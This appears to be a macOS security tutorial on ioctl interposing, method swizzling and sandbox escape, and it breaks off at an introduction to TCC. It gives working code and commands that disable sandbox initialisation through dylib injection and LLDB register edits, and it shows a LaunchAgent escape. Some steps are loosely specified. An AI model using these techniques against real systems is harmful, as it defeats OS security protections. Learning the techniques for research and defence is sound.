IOCTL Interposing
Interposing ioctl calls on macOS allows you to override or intercept calls to the ioctl function within dynamic libraries at runtime. This can be useful for purposes such as kernel driver fuzzing and analysis, debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for interposing ioctl calls, you need to add an __interpose section (or a section flagged with S_INTERPOSING) in the DATA segment of the Mach-O file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use DYLD_INSERT_LIBRARIES to inject the dylib into the target application, as interposing must occur before the main application loads.
How Interposing ioctl Calls Works
- Dynamic Linker and DYLD: macOS uses a dynamic linker (
dyld) that handles the loading of dynamic libraries (dylibs) and the resolution of function addresses at runtime. - Interposing Functions: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.
- Interposing Dylib: You create a custom dynamic library that provides your versions of the functions you want to interpose.
- Environment Variables: You set environment variables (e.g.,
DYLD_INSERT_LIBRARIES) to specify the path to your interposing dylib.
Steps to Implement Interposing ioctl Calls
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdarg.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_ioctl(int d, unsigned long request, void *data) {
printf("[+] IOCTL Request Information: 0x%x, 0x%lx\n", d, request);
return (ioctl(d, request, data));
}
DYLD_INTERPOSE(my_ioctl, ioctl);
- Define the Interposing Macro
Define the DYLD_INTERPOSE macro in your C file. This macro helps create an __interpose section in the Mach-O file.
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
- Implement the Custom
ioctlFunction
Define your custom version of ioctl. This function will replace the original ioctl when the dylib is injected.
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdarg.h>
int my_ioctl(int d, unsigned long request, void *data) {
printf("[+] IOCTL Request Information: 0x%x, 0x%lx\n", d, request);
return (ioctl(d, request, data));
}
- Call the Interposing Macro
Use the DYLD_INTERPOSE macro to specify the replacement of ioctl with my_ioctl.
DYLD_INTERPOSE(my_ioctl, ioctl);
- Compile the Interposing Dylib
gcc -dynamiclib interpose.c -o interpose.dylib
- Verify the Interpose Section
Use the size command to verify the presence of the __interpose section in the compiled dylib.
size -x -m -l interpose.dylib
Expected output should show an __interpose section in the __DATA segment.
- Inject the Dylib and Run the Application
Use the DYLD_INSERT_LIBRARIES environment variable to inject the interposing dylib into your application.
export DYLD_INSERT_LIBRARIES=./interpose.dylib
export DYLD_FORCE_FLAT_NAMESPACE=1
/App
TIPs
- Segmentation Fault
If the application crashes with a segmentation fault, inspect the crash log to identify the cause. You might encounter an infinite loop if the interposed function calls another function that ends up calling back the interposed function.
- Crash Reports
User crash reports are typically located in the ~/Library/Logs/DiagnosticReports/ directory. Each crash report file is named with the application name and a timestamp.
/Users/<your_username>/Library/Logs/DiagnosticReports/
- System Crash Reports
System crash reports are stored in the /Library/Logs/DiagnosticReports/ directory. These reports are accessible to all users with appropriate permissions.
/Library/Logs/DiagnosticReports/
- Debugging
Finally we could use lldb, To debug it.
- Avoiding Infinite Loops
To avoid infinite loops, ensure that your interposed function does not invoke the original function in a way that causes it to call back into your interposed function. For example, avoid using printf inside an interposed function if printf itself might invoke the original function.
int my_ioctl(int d, unsigned long request, void *data) {
if (request != request_id) { // Exclude specific request to avoid loop
printf("[+] IOCTL Request Information: 0x%x, 0x%lx\n", d, request);
}
return (ioctl(d, request, data));
}
Objective-C Method Swizzling
Method swizzling is a technique used to change the implementation of an existing method at runtime. This is particularly useful in scenarios where you want to alter or extend the behavior of a method without modifying its original code. We’ll explore two techniques for method swizzling in Objective-C: using categories and using C functions.
Technique 1: Using Categories
In this example, we’ll hook the length method of the NSString class to log a message whenever it is called. This involves creating a new category for NSString and performing the swizzling.
Step 1: Create a Category
First, we create a new category for NSString called NewNSString and add our custom custom_length method.
Code:
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@interface NSString (NewNSString)
- (NSUInteger) custom_length;
@end
@implementation NSString (NewNSString)
- (NSUInteger) custom_length {
NSLog(@"Hooked the length method!");
return [self custom_length]; // This will call the original length method after swizzling
}
@end
- Category Declaration: We declare a category
NewNSStringfor theNSStringclass, adding a new methodcustom_length. - Method Implementation: We implement
custom_lengthto log a message before calling itself. Initially, this would cause an infinite loop, but after swizzling, it will call the originallengthmethod.
Step 2: Perform the Swizzling
Next, we perform the actual swizzling by swapping the implementations of the original length method and our custom_length method.
Code:
int main(int argc, const char * argv[]) {
@autoreleasepool {
Class class = [NSString class];
SEL originalSelector = @selector(length);
SEL swizzledSelector = @selector(custom_length);
Method originalMethod = class_getInstanceMethod(class, originalSelector);
Method swizzledMethod = class_getInstanceMethod(class, swizzledSelector);
method_exchangeImplementations(originalMethod, swizzledMethod);
// Test the swizzling
NSString *testString = @"Hello, World!";
NSLog(@"Length: %lu", (unsigned long)[testString length]);
}
return 0;
}
- Class and Selectors: We obtain the
NSStringclass and the selectors for the original and custom methods (lengthandcustom_length). - Methods: We use
class_getInstanceMethodto retrieve the method implementations for these selectors. - Swizzling: We use
method_exchangeImplementationsto swap the implementations of the two methods. - Test: We create an
NSStringinstance and call thelengthmethod, which now logs a message due to our swizzling.
Output:
2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Hooked the length method!
2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Length: 13
Technique 2: Using C Functions
For the second technique, we create a new C function and use method_setImplementation to update the method’s implementation pointer.
Step 1: Define the C Function
We define our custom custom_length function and a placeholder for the original function pointer.
Code:
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
static IMP original_length = NULL;
static NSUInteger custom_length(id self, SEL _cmd) {
NSLog(@"Hooked the length method with C function!");
return ((NSUInteger (*)(id, SEL))original_length)(self, _cmd);
}
- Static IMP Pointer: We declare a static IMP (method pointer) to hold the original
lengthmethod’s implementation. - Custom Function: We define
custom_lengthto log a message and then call the originallengthmethod using theoriginal_lengthpointer. The first two parameters of the function areid self(the object) andSEL _cmd(the selector).
Step 2: Update the Method Implementation
Next, we update the method implementation to point to our custom function.
Code:
int main(int argc, const char * argv[]) {
@autoreleasepool {
Class class = [NSString class];
Method originalMethod = class_getInstanceMethod(class, @selector(length));
original_length = method_setImplementation(originalMethod, (IMP)custom_length);
// Test the swizzling
NSString *testString = @"Hello, World!";
NSLog(@"Length: %lu", (unsigned long)[testString length]);
}
return 0;
}
- Class and Method: We obtain the
NSStringclass and thelengthmethod. - Update Implementation: We use
method_setImplementationto replace the originallengthmethod with ourcustom_lengthfunction. The original method’s implementation is stored inoriginal_length. - Test: We create an
NSStringinstance and call thelengthmethod, which now logs a message due to our custom function.
Output:
2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Hooked the length method with C function!
2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Length: 13
How It Works ?
Categories and Swizzling
- Categories: Categories in Objective-C allow you to add new methods to existing classes without subclassing. This feature is used to introduce the
custom_lengthmethod to theNSStringclass. - Selectors and Methods: A selector (
SEL) is the name of a method, and a method (Method) is a reference to the implementation of that method. - Swizzling: Swizzling involves swapping the implementations of two methods.
method_exchangeImplementationsis used to exchange the implementations of the original method and the custom method. After swizzling, calling the original method will execute the custom implementation and vice versa.
C Functions and Swizzling
- IMP Pointers: An
IMPis a pointer to the start of a method implementation. By storing the original method’sIMP, you can call the original method from within your custom implementation. - Custom Function: The custom function mimics the method signature of the original method and can perform additional operations (e.g., logging) before or after calling the original method.
- Method Replacement:
method_setImplementationreplaces the implementation of a method with a new function, allowing you to intercept calls to the method and redirect them to your custom function.
Guide for Method Swizzling with MD5App
In this example, we will create an Objective-C application that generates a random message, computes its MD5 hash, and then uses method swizzling to intercept and log the original message. We will break down each part of the process to explain how and why it works.
Step 1: Create the MD5 Application
First, we create a simple Objective-C application that generates a random message, computes its MD5 hash, and prints out the hash.
MD5App.m:
#import <Foundation/Foundation.h>
#import <CommonCrypto/CommonDigest.h>
// Interface for the MD5 generator class
@interface MD5Generator : NSObject
- (NSString *)md5HashOfString:(NSString *)input;
@end
@implementation MD5Generator
// Function to compute MD5 hash
- (NSString *)md5HashOfString:(NSString *)input {
const char *cStr = [input UTF8String];
unsigned char digest[CC_MD5_DIGEST_LENGTH];
CC_MD5(cStr, (CC_LONG)strlen(cStr), digest);
NSMutableString *output = [NSMutableString stringWithCapacity:CC_MD5_DIGEST_LENGTH * 2];
for (int i = 0; i < CC_MD5_DIGEST_LENGTH; i++) {
[output appendFormat:@"%02x", digest[i]];
}
return output;
}
@end
// Function to generate a random string of a given length
NSString *generateRandomString(NSUInteger length) {
NSString *letters = @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
NSMutableString *randomString = [NSMutableString stringWithCapacity:length];
for (NSUInteger i = 0; i < length; i++) {
[randomString appendFormat: @"%C", [letters characterAtIndex: arc4random_uniform((uint32_t)[letters length])]];
}
return randomString;
}
// Function to get user input from the command line
NSString *getUserInput() {
char inputChars[256];
fgets(inputChars, 256, stdin);
return [[NSString stringWithUTF8String:inputChars] stringByTrimmingCharactersInSet:[NSCharacterSet newlineCharacterSet]];
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
MD5Generator *generator = [[MD5Generator alloc] init];
// Generate random message
NSString *message = generateRandomString(20); // Random message of length 20
// Compute MD5 hash of the message
NSString *md5Hash = [generator md5HashOfString:message];
//NSLog(@"Generated Message: %@", message);
NSLog(@"MD5 Hash: %@", md5Hash);
// Ask user to enter the string
NSLog(@"Please enter the original string:");
NSString *userInput = getUserInput();
NSString *userInputHash = [generator md5HashOfString:userInput];
// Compare hashes
if ([userInputHash isEqualToString:md5Hash]) {
NSLog(@"[+] Congrats, You swizzle it successfully");
} else {
NSLog(@"[-] You need to be more swizzly :(");
}
}
return 0;
}
- Import Statements: We import the necessary Foundation framework and CommonCrypto library for MD5 hashing.
- MD5 Generator Class:
- md5HashOfString: Computes the MD5 hash of a given input string.
- Random String Generation:
- generateRandomString: Generates a random string of a given length using alphanumeric characters.
- User Input:
- getUserInput: Reads user input from the command line.
- Main Function:
- Generates a random message and computes its MD5 hash.
- Prompts the user to enter the original message.
- Compares the hash of the user input with the computed hash.
- Prints a success message if the hashes match, otherwise prints a failure message.
Step 2: Swizzle the MD5 Hash Method to Log the Original Message
Next, we will use method swizzling to intercept the md5HashOfString: method and log the original message.
Swizzle.m:
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Function pointer for the original md5HashOfString function
static NSString* (*original_md5HashOfString)(id, SEL, NSString *) = NULL;
// Custom function to log the message and call the original md5HashOfString
static NSString* custom_md5HashOfString(id self, SEL _cmd, NSString *input) {
NSLog(@"Intercepted MD5 message: %@", input);
return original_md5HashOfString(self, _cmd, input);
}
// Constructor function to perform the swizzling
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
Class generatorClass = NSClassFromString(@"MD5Generator");
SEL originalSelector = @selector(md5HashOfString:);
Method originalMethod = class_getInstanceMethod(generatorClass, originalSelector);
// Replace the original implementation with the custom implementation
original_md5HashOfString = (NSString* (*)(id, SEL, NSString *))method_setImplementation(originalMethod, (IMP)custom_md5HashOfString);
}
- Import Statements: We import the necessary Foundation framework and Objective-C runtime for method swizzling.
- Static Function Pointer: We declare a static function pointer
original_md5HashOfStringto hold the original implementation of themd5HashOfString:method. This allows us to call the original method from within our custom implementation. - Custom Function:
- Log the Original Message: The custom function
custom_md5HashOfStringlogs the original message. - Call Original Function: The original
md5HashOfString:method is called using the stored function pointer, passing along the original parameters.
- Log the Original Message: The custom function
- Constructor Function:
- Get Method: The
class_getInstanceMethodfunction is used to get the method formd5HashOfString:. - Replace Implementation: The
method_setImplementationfunction is used to replace the original implementation ofmd5HashOfString:with our custom implementation. The original implementation is stored inoriginal_md5HashOfString.
- Get Method: The
Step 3: Compile and Run
To compile and run the application with the swizzle library:
-
Compile the MD5 Application:
clang -framework Foundation -framework CommonCrypto -o MD5App MD5App.m
To allow your application to load dynamic libraries using the DYLD_INSERT_LIBRARIES environment variable, you need to add the com.apple.security.cs.allow-dyld-environment-variables entitlement as well. Here’s how to do it:
-
Create an Entitlements File: Create an entitlements file (
entitlements.plist) with the necessary permissions.entitlements.plist:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.cs.disable-library-validation</key> <true/> <key>com.apple.security.cs.allow-dyld-environment-variables</key> <true/> </dict> </plist> -
Sign the Application: Use the
codesigntool to sign the application with the created entitlements.Commands:
codesign --deep --force --verify --verbose --entitlements entitlements.plist --sign "YOUR_IDENTITY" YOUR_APP_PATH -
Compile the Swizzle Code:
clang -dynamiclib -framework Foundation -o Swizzle.dylib Swizzle.m -
Run the Application with the Swizzle Library:
DYLD_INSERT_LIBRARIES=./Swizzle.dylib ./MD5App
Output:
2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] Generated Message: <random_message>
2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] MD5 Hash: <md5_hash>
Please enter the original string:
<user_enters_message>
2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] Intercepted MD5 message: <user_enters_message>
Congrats, You swizzle it successfully
If the user enters the correct message, it will display “Congrats, You swizzle it successfully”. If the message is incorrect, it will display “You need to be more swizzly :(“. The swizzle library will intercept and log the original message, demonstrating the dynamic interception of method calls.
SandBox Escaping
The macOS Sandbox was introduced in Mac OS X 10.5 Leopard, which was released on October 26, 2007. Initially, the sandbox was used to protect specific system services and applications. Over time, its use has expanded, and it has become a critical component of macOS’s overall security architecture.
Fundementals
The isolation helps prevent applications from accessing unauthorized data and limits the potential damage of a compromised application. The Sandbox achieves this by enforcing strict controls on what resources an application can access and what actions it can perform.
Components of macOS Sandbox
- Userland Daemon (
/usr/libexec/sandboxd):- This daemon enforces sandbox policies and monitors application behavior.
- Private Framework (
/System/Library/PrivateFrameworks/AppSandbox.framework):- This framework provides APIs for managing and enforcing sandbox policies.
- Kernel Extension (
/System/Library/Extensions/Sandbox.kext):- The kernel extension implements the core sandboxing functionality, extending the Mandatory Access Control Framework (
MACF) of the macOS kernel.
- The kernel extension implements the core sandboxing functionality, extending the Mandatory Access Control Framework (
Sandbox Profile Language
The Sandbox Profile Language (SBPL) is used to define the rules and policies for sandboxing applications in macOS. These profiles determine what an application can and cannot do, ensuring that applications run in a restricted environment to enhance security.
Sandbox Profile Paths
When an application is sandboxed, it is contained within a specific directory under ~/Library/Containers. The profile path includes:
- Container Directory:
~/Library/Containers/<bundle_id> - Profile Data File:
~/Library/Containers/<bundle_id>/Container.plist - Data Directory:
~/Library/Containers/<bundle_id>/Data
The Container.plist file contains configuration data about the sandbox environment, including entitlements and access permissions.
App Sandboxing Process
- Application Start:
- The process begins when the application is launched.
- Dynamic Loader (dyld):
- The dynamic loader (
dyld) loads thelibSystem.B.dyliblibrary, which is essential for system functions.
- The dynamic loader (
- Library Initialization (libSystem):
libSystem.B.dylibinitializes and makes a call tolibsystem_secinit.dylib.
- Sandbox Registration (libSecInit):
libsystem_secinit.dylib’s_libsecinit_appsandboxfunction makes an XPC call tosecinitddaemon to register the application and retrieve sandbox profile information.
- Sandbox Profile Retrieval (secinitd):
- The
secinitddaemon sends back the sandbox profile and related information.
- The
- Kernel Extension (Kernel):
- Finally,
libsystem_secinit.dylibapplies the sandbox restrictions by making a syscall (__mac_syscall) to the sandbox kernel extension, which enforces the sandbox policies.
- Finally,
## Sandbox Profile Language
Sandbox Profile Language (SBPL) Syntax
Sandbox profiles are written in SBPL, which uses a Lisp-like syntax. The key components include:
- (version X): Specifies the version of the SBPL.
- (allow …): Allows specific actions or accesses.
- (deny …): Denies specific actions or accesses.
- (regex “…”): Uses regular expressions to match paths or resources.
Applying and Testing Profiles
- Creating Profiles:
- Write the profile rules in a text editor and save the file with a
.sbextension.
- Write the profile rules in a text editor and save the file with a
- Applying Profiles:
- Use the
sandbox-execcommand to apply the profile to an application for testing.
sandbox-exec -f path/to/profile.sb /path/to/application - Use the
- Testing and Debugging:
- Run the application with the applied profile and monitor its behavior. Adjust the rules as necessary to ensure the application functions correctly while adhering to the security constraints.
1. Default Profiles
Example: Default Browser Profile
(version 1)
(allow file-read-data (regex "^/Users/[^/]+/"))
(allow file-write-data (regex "^/Users/[^/]+/"))
(allow network-outbound (remote tcp))
(deny file-read-data (regex "^/System/"))
(deny file-write-data (regex "^/System/"))
- (version 1): Specifies the SBPL version.
- (allow file-read-data (regex “^/Users/[^/]+/”)): Allows the application to read data from any user’s home directory.
- (allow file-write-data (regex “^/Users/[^/]+/”)): Allows the application to write data to any user’s home directory.
- (allow network-outbound (remote tcp)): Allows outbound TCP network connections, enabling internet access.
- (deny file-read-data (regex “^/System/”)): Denies reading data from the system directory, protecting system files.
- (deny file-write-data (regex “^/System/”)): Denies writing data to the system directory, preventing system modification.
2. Custom Application Profiles
Example: Custom Profile for a Media Player
(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/Music/"))
(allow file-read-data (regex "^/Users/[^/]+/Movies/"))
(allow network-outbound (remote tcp))
(deny file-read-data (regex "^/Users/[^/]+/Documents/"))
(deny file-write-data)
Explanation:
- (version 1): Specifies the SBPL version.
- (deny default): Denies all actions by default, enforcing a restrictive policy.
- (allow file-read-data (regex “^/Users/[^/]+/Music/”)): Allows reading data from the Music directory.
- (allow file-read-data (regex “^/Users/[^/]+/Movies/”)): Allows reading data from the Movies directory.
- (allow network-outbound (remote tcp)): Allows outbound TCP network connections for streaming.
- (deny file-read-data (regex “^/Users/[^/]+/Documents/”)): Denies reading data from the Documents directory.
- (deny file-write-data): Denies all file write operations, preventing any modifications.
3. Developer Profiles
Example: Developer Profile for a Web Application
(version 1)
(allow file-read-data)
(allow file-write-data)
(allow network-outbound (remote tcp))
(allow network-inbound (local tcp))
Explanation:
- (version 1): Specifies the SBPL version.
- (allow file-read-data): Allows reading data from any file location.
- (allow file-write-data): Allows writing data to any file location.
- (allow network-outbound (remote tcp)): Allows outbound TCP network connections, enabling internet access.
- (allow network-inbound (local tcp)): Allows inbound TCP network connections, facilitating local testing and debugging.
4. Service-Specific Profiles
Example: Profile for a Backup Service
(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/"))
(deny file-write-data)
(deny network-outbound)
Explanation:
- (version 1): Specifies the SBPL version.
- (deny default): Denies all actions by default, enforcing a restrictive policy.
- (allow file-read-data (regex “^/Users/[^/]+/”)): Allows reading data from any user’s home directory for backup purposes.
- (deny file-write-data): Denies all file write operations, preventing any modifications.
- (deny network-outbound): Denies outbound network connections, ensuring no data is sent over the network.
5. Minimalist Profiles
Example: Minimalist Profile for a Secure Notes App
(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/SecureNotes/"))
(allow file-write-data (regex "^/Users/[^/]+/SecureNotes/"))
(deny network-outbound)
(deny network-inbound)
Explanation:
- (version 1): Specifies the SBPL version.
- (deny default): Denies all actions by default, enforcing a highly restrictive policy.
- (allow file-read-data (regex “^/Users/[^/]+/SecureNotes/”)): Allows reading data only from the SecureNotes directory.
- (allow file-write-data (regex “^/Users/[^/]+/SecureNotes/”)): Allows writing data only to the SecureNotes directory.
- (deny network-outbound): Denies outbound network connections, preventing data from being sent out.
- (deny network-inbound): Denies inbound network connections, ensuring no external access.
Building and Testing a Sandboxed Application
We will create a simple application that attempts to read a file in the /etc/ directory and observe how the sandbox restricts this operation.
Step 1: Create the Application
First, we will create a simple C application that tries to read the contents of a file in the /etc/ directory.
Source Code of Sandboxed Application
#include <stdio.h>
int main() {
FILE *file;
char buffer[100];
file = fopen("/etc/hosts", "r");
if (file == NULL) {
perror("Error opening file");
return -1;
}
while (fgets(buffer, 100, file) != NULL) {
printf("%s", buffer);
}
fclose(file);
return 0;
}
Save this code in a file named readfile.c.
Step 2: Create the Entitlement File
To enable sandboxing, we need to create an entitlement file that forces the application into the sandbox.
Entitlement File (readfile.xml)
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
Save this content in a file named readfile.xml.
Step 3: Create the Info.plist File
We also need an Info.plist file to embed in our application.
Info.plist
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>com.example.readfile</string>
<key>CFBundleName</key>
<string>ReadFile</string>
</dict>
</plist>
Save this content in a file named Info.plist.
Step 4: Compile and Embed Info.plist
To compile the application and embed the Info.plist file, use the following command:
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist readfile.c -o readfile
Step 5: Code Sign the Application
Next, we need to code sign the application with the sandbox entitlement.
codesign -s "Your Signing Identity" --entitlements readfile.xml readfile
Step 6: Run the Application
Now, let’s run the application to see if it can read the file in the /etc/ directory.
./readfile
Error opening file: Operation not permitted
As expected, the operation is not permitted because the sandbox restricts access to the /etc/ directory.
Guide for sandbox Escaping
There are couples of ways can be considered to escape/bypass the sandbox:
Method 1: Kernel Vulnerability Exploitation
Summary: This method involves finding and exploiting a vulnerability in the macOS kernel. Exploiting a kernel vulnerability grants immediate kernel privileges, effectively bypassing the sandbox and escalating user privileges. This approach is commonly used across various operating systems, including Windows.
- Advantages: Provides immediate kernel privileges and complete control over the system.
- Disadvantages: Requires deep knowledge of kernel internals and sophisticated exploitation techniques. Finding exploitable kernel vulnerabilities can be challenging.
Method 2: Non-Sandboxed Binary Execution
Summary: This method involves placing a non-sandboxed binary or script on the system and having a non-sandboxed application execute it. The execution of the non-sandboxed binary allows the escape from the sandbox.
Approach 1: Use PLIST Files in Launch Agents or Daemons
- Description: Drop a PLIST file inside
~/Library/LaunchAgentsor/Library/LaunchDaemons. Thelaunchdservice will later execute the binary specified in the PLIST file outside the sandbox. - Steps:
- Create a PLIST file with the appropriate configuration to execute your binary.
- Place the PLIST file in the
~/Library/LaunchAgentsor/Library/LaunchDaemonsdirectory. - Wait for
launchdto execute the binary.
Approach 2: Communicate with a Non-Sandboxed Mach Service
- Description: Find a non-sandboxed Mach service that can be instructed to execute a binary. Communicate with this service to have it execute the binary for you outside the sandbox.
- Steps:
- Identify a suitable non-sandboxed Mach service.
- Develop a way to communicate with the Mach service.
- Instruct the service to execute your binary.
- Advantages: Relatively easier to implement compared to kernel exploitation.
- Disadvantages: Depends on the availability of non-sandboxed applications or services willing to execute the binary.
Method 3: Vulnerability in Sandbox Implementation
Summary: This method involves finding and exploiting a vulnerability within the sandbox implementation itself. By exploiting this vulnerability, it is possible to break out of the sandbox restrictions.
- Advantages: Directly targets the sandbox mechanism, potentially leading to a more reliable escape.
- Disadvantages: Requires a detailed understanding of the sandbox implementation and identifying exploitable flaws within it.
Method 1 Using Interposing to Disable Sandbox
This guide provides step-by-step instructions to disable macOS sandbox restrictions using the interposing technique. We will create a dynamic library that interposes the __mac_syscall function to bypass sandboxing for our readfile application.
Step 1: Create the Interposing Library
-
Write the Interposing Code: Create a new file named
interpose.cwith the following content:#include <stdio.h> int __mac_syscall(const char *_policyname, int _call, void *_arg); #define DYLD_INTERPOSE(_replacement, _replacee) \ __attribute__((used)) static struct { \ const void* replacement; \ const void* replacee; \ } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ (const void*) (unsigned long) &_replacement, \ (const void*) (unsigned long) &_replacee \ }; int my_mac_syscall(const char *_policyname, int _call, void *_arg) { printf("__mac_syscall arguments: policyname ==> %s, call ==> %d, arg ==> %p)\n", _policyname, _call, _arg); return 0; } DYLD_INTERPOSE(my_mac_syscall, __mac_syscall); -
Explanation:
__mac_syscall: Declares the original system function that we will interpose.DYLD_INTERPOSE: Macro used to interpose the__mac_syscallfunction.my_mac_syscall: Custom implementation of__mac_syscallthat prints the function arguments and returns 0, indicating a successful call.
Step 2: Compile the Interposing Library
-
Compile: Use the following command to compile the interposing library into a dynamic library (
.dylib):gcc -dynamiclib -o interpose.dylib interpose.cThis command creates a dynamic library named
interpose.dylib.
Step 3: Run the Application with Interposing Library
-
Run with DYLD_INSERT_LIBRARIES: Set the
DYLD_INSERT_LIBRARIESenvironment variable to the path of the interposing library and run thereadfileapplication:DYLD_INSERT_LIBRARIES=./interpose.dylib ./readfileThis command sets up the environment so that the dynamic loader (
dyld) loads the interposing library before executing thereadfileapplication.
Method 2: Inspect & Bypass sandbox initialization process Using LLDB Debugger
This guide provides step-by-step instructions to bypass macOS sandbox restrictions using the LLDB debugger on the previously created readfile application. The readfile application attempts to read the /etc/hosts file, which is restricted by the sandbox.
Step 1: Load the Executable into the Debugger
-
Start LLDB: Open your terminal and start LLDB with the target application:
lldb ./readfile -
Create Target: Set the executable as the target:
(lldb) target create "./readfile"This command loads the
readfileapplication into the debugger.
Step 2: Set a Breakpoint on xpc_pipe_routine
-
Set Breakpoint: Set a breakpoint on the
xpc_pipe_routinefunction, which is responsible for handling inter-process communication:(lldb) b xpc_pipe_routineThe debugger will break when it reaches this function.
Step 3: Run the Application
-
Run: Start running the application within the debugger:
(lldb) runThe application will start and pause when it hits the breakpoint.
Step 4: Check the Backtrace
-
Backtrace: Check the backtrace to understand the call stack at the breakpoint:
(lldb) btThis command provides a backtrace showing the series of function calls leading to
xpc_pipe_routine.
Step 5: Continue Execution and Break Again
-
Continue: Resume execution to hit the breakpoint again, this time ensuring it is called from the relevant function (
_libsecinit_appsandbox):(lldb) c -
Backtrace: Check the backtrace again to verify the call stack:
(lldb) btEnsure
xpc_pipe_routineis called from_libsecinit_appsandbox.
Step 6: Inspect the XPC Message
-
Inspect Message: Use the
pcommand to inspect the XPC message being sent:(lldb) p (char *) xpc_copy_description($rsi)This command prints the details of the XPC message.
-
Retrieve Reply Address: Read the value of the RDX register to find the address where the XPC reply will be stored:
(lldb) register read $rdxNote the address returned by this command.
Step 7: Step Out and Inspect the Reply
-
Step Out: Step out of the
xpc_pipe_routinefunction call to continue execution until it returns:(lldb) finish -
Read Memory: Read the memory at the address noted in the previous step to inspect the XPC reply:
(lldb) memory read -f p 0x00007ffeefbfdc28 -c 1 (lldb) p (char *) xpc_copy_description(0x0000000100202bd0)This command displays the details of the XPC reply, providing information about sandboxing.
Step 8: Set a Conditional Breakpoint on __mac_syscall
-
Set Breakpoint: Set a conditional breakpoint on
__mac_syscallto intercept the sandbox initialization:(lldb) breakpoint set --name __mac_syscall --condition '($rsi == 0)'This breakpoint triggers when the second argument (RSI) is zero, indicating a sandbox initialization call.
Step 9: Continue and Modify Execution
-
Continue: Resume execution to hit the conditional breakpoint:
(lldb) c -
Check Parameters: Verify the parameters after hitting the breakpoint to ensure it is the correct call:
(lldb) memory read -f s $rdi (lldb) register read $rsi -
Skip System Call: Modify the instruction pointer to skip the system call and set the return value to indicate success:
(lldb) register write $rip 0xADDRESS (lldb) register write $rax 0 (lldb) breakpoint delete 1 (lldb) cregister write $rip 0xADDRESS: Adjusts the instruction pointer to skip the system call.register write $rax 0: Sets the return value to 0, indicating a successful call.breakpoint delete 1: Deletes the initial breakpoint set onxpc_pipe_routine.
Step 10: Verify Execution
-
Run Application: Allow the application to continue running and verify that it operates without sandbox restrictions.
(lldb) c
Method3: Escape Sandbox Using launchd
This guide provides step-by-step instructions to bypass macOS sandbox restrictions using the launchd service. We will create a Launch Agent to execute our readfile application without sandbox restrictions.
Step 1: Create the Launch Agent PLIST File
-
Write the PLIST Configuration: Create a new file named
com.example.readfile.plistwith the following content:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.example.readfile</string> <key>ProgramArguments</key> <array> <string>/path/to/readfile</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist> -
Explanation:
- Label: A unique identifier for the Launch Agent.
- ProgramArguments: The path to the
readfileapplication. - RunAtLoad: Ensures the application runs immediately after the Launch Agent is loaded.
Step 2: Place the PLIST File
-
Copy PLIST File: Copy the PLIST file to the
LaunchAgentsdirectory:cp com.example.readfile.plist ~/Library/LaunchAgents/This places the PLIST file in the user’s Launch Agents directory.
Step 3: Load the Launch Agent
-
Load Agent: Load the Launch Agent using the
launchctlcommand:launchctl load ~/Library/LaunchAgents/com.example.readfile.plist -
Verify Loading: Ensure the Launch Agent is loaded by checking its status:
launchctl list | grep com.example.readfileThis command should return the identifier of the Launch Agent if it is loaded correctly.
Step 4: Verify Application Execution
-
Check Application Output: The
readfileapplication should execute without sandbox restrictions and read the/etc/hostsfile. Check the application’s output:tail -f /path/to/readfile/output.log
Ensure that the contents of the /etc/hosts file are displayed, indicating the application ran successfully without sandbox restrictions.
TCC Bypass
Fundamentals
Transparency, Consent, and Control (TCC) is a security framework implemented by Apple in macOS to manage and regulate applications’ access to certain sensitive user data and system resources. The primary goal of TCC is to ensure user privacy and security by requiring explicit user consent before applications can access protected resources like the camera, microphone, location data, contacts, and calendars.
Key concepts in TCC include:
- User Consent: Applications must request permission from users before accessing protected resources.
- Transparency: Users are informed about what data and resources applications wish to access.
- Control: Users can grant or revoke permissions at any time via the System Preferences.
How TCC Works
TCC operates by maintaining a database of permissions for each application. When an application requests access to a protected resource for the first time, TCC prompts the user to allow or deny the request. The user’s response is then stored in the TCC database, and future requests by the same application for the same resource are automatically granted or denied based on the stored permission.
